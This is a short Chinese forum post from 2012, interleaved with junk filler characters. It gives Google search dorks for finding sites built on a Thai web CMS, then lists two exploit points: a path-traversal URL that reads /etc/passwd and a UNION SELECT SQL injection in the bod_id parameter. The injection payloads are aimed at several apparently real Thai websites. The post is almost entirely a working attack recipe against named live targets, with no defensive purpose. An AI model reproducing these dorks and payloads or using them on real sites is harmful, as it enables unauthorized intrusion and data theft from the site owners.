Google之:- d$ R, @- |7 q0 J e0 w$ [* q
& V* D; a z) O3 e( |" ~8 ]# ~$ Jintext:powered by Thaiweb% Y# R# m |7 s$ i2 E7 p
+ v5 ?6 g a5 Qinurl:index.php?page=board.php
$ c% i8 S5 M2 T0 A4 b; E& J
+ c6 p0 b3 P3 X) ?/ @# w , K, F# C M0 p: Q3 B1 S9 c
$ S6 a0 \) f% e( z1 N, D7 f
利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd
9 P6 \& w' _* ?+ f* z; c$ k# b
& Y5 j7 e. [$ D, }. v* K
' N0 \5 q+ A! i. ]4 T& ]
7 d5 r& R" C1 {# U1 d利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4'
- G3 c5 G. w+ N( _7 Z0 h+ ~3 [) t7 y3 G, u2 m# ]& r
" F( N$ g3 I( ]* D6 w, e; x, [' V+ h7 s1 A
http://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--% E( [3 J4 E. F8 E
& \! U' Y# _& P1 [7 N% `& G
http://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
- s" r, W" \/ ~0 u! ?3 A: p
: @8 x/ _+ _' Shttp://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--$ I* F' _# _' D4 h
|
发表于 2012-12-27 08:38:39
收藏
支持
反对